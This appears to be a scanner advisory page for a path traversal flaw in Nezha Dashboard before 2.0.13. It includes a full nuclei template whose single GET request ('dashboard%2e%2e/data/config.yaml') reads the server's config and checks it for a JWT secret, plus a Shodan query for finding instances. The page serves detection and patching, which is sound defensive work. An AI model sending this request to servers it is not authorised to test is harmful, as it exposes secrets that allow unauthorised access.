Nezha Dashboard < 2.0.13 - Path Traversal

criticalseverity

9.1CVSS score

1.9%likelihood of exploitation, next 30 days

80%of all CVEs are less likely

Readycheck to confirm it

Nezha Monitoring < 2.0.13 contains a path traversal caused by improper prefix checking in the dashboard's NoRoute handler, letting unauthenticated attackers read arbitrary files via crafted URLs.

Impact

Unauthenticated attackers can read arbitrary files on the server, potentially exposing sensitive configuration or data files.

Fix

Update to version 2.0.13 or later.

How to confirm it

Send: GET {{BaseURL}}/dashboard%2e%2e/data/config.yaml
Positive when: contains "jwt_secret_key:" AND status 200

Run it with nuclei: nuclei -id CVE-2026-53519 -u <target>

The full check

id: CVE-2026-53519

info:
  name: Nezha Dashboard < 2.0.13 - Path Traversal
  author: Aryu-RU,str4k3r
  severity: critical
  description: |
    Nezha Monitoring < 2.0.13 contains a path traversal caused by improper prefix checking in the dashboard's NoRoute handler, letting unauthenticated attackers read arbitrary files via crafted URLs.
  impact: |
    Unauthenticated attackers can read arbitrary files on the server, potentially exposing sensitive configuration or data files.
  remediation: |
    Update to version 2.0.13 or later.
  reference:
    - https://github.com/nezhahq/nezha/security/advisories/GHSA-5c25-7vpj-9mqh
    - https://nvd.nist.gov/vuln/detail/CVE-2026-53519
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2026-53519
    epss-score: 0.01928
    epss-percentile: 0.80155
    cwe-id: CWE-22
  metadata:
    verified: true
    shodan-query: title:"Nezha"
  tags: cve,cve2026,nezha,lfi,traversal,unauth

http:
  - method: GET
    path:
      - "{{BaseURL}}/dashboard%2e%2e/data/config.yaml"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "jwt_secret_key:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from